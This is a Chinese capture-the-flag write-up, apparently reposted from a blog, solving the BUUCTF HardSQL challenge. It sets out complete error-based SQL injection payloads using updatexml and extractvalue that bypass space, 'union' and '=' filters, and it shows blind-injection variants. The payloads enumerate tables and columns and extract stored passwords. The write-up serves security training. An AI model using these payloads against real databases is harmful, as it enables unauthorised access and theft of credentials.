zoukankan      html  css  js  c++  java
  • 绕过空格的报错注入

    绕过空格的报错注入

    • 环境:buuctf中[极客大挑战 2019]HardSQL1
    • 知识点:updatexml报错注入
    • 参考:wp1

    做题

    sql注入

    语法错误时,返回报错内容

    试着用注释符闭合,这里有个坑的地方,#以get形式传入时,要以url编码%23发送

    查询为假时,就会返回wrong password

    查询为真时,就会返回login success

    fuzz测试时,发现过滤了" ",*,union,and,=,sleep()

    过滤了union,我们不能使用联合查询

    过滤了and,我们也不太好使用布尔盲注和时间盲注,并且这里过滤了sleep

    并且fuzz这里%09,%0a,%0b,%0c,%0d以及tab都无法进行绕过空格

    1'and(substr(database(),1,1)='t')# //布尔盲注
    1'and(if(substr(database(),1,1)='t',sleep(5),1))#//时间盲注
    //如果用or的话
    //布尔盲注相当于1'or 0和1'or 1,如果有limit就会失效
    //时间盲注相当于1'or(if(substr(database(),1,1)='t',sleep(5),1)),时间不止5秒,将会非常久
    

    优先考虑报错注入

    updatexml

    payload:

    爆数据库

    1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

    爆表

    1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

    注意这里,用like代替=,并且()绕过了空格

    爆字段

    1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

    爆password具体内容

    1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23

    因为updatexml报错最多显示32位字符,所以只能显示部分flag

    用right爆出剩下flag

    1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23

    然后进行拼接,得到flag

    extractvalue

    跟updatexml不同的是,只需要两个参数

    爆数据库

    1'or(extractvalue(1,concat(0x7e,database(),0x7e)))%23

    爆表

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e)))%23

    爆字段

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))%23

    爆password内容

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e)))%23

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e)))%23

  • 相关阅读:
    Linux上面执行 Windows 命令(比如 重启服务)的简单方法
    Linux 通过cksum 来判断文件是否是相同
    Linux 根据端口快速停止服务并启动的办法
    Delphi控件开发浅入深出(三)
    Delphi 资源文件( .res)
    C++中模块(Dll)对外暴露接口的方式
    delphi Align属性
    cport串口控件的应用
    两款工控控件对比评测:Iocomp和ProEssentials
    Android 将ARGB图片转换为灰度图
  • 原文地址:https://www.cnblogs.com/NineOne/p/14044590.html
Copyright © 2011-2022 走看看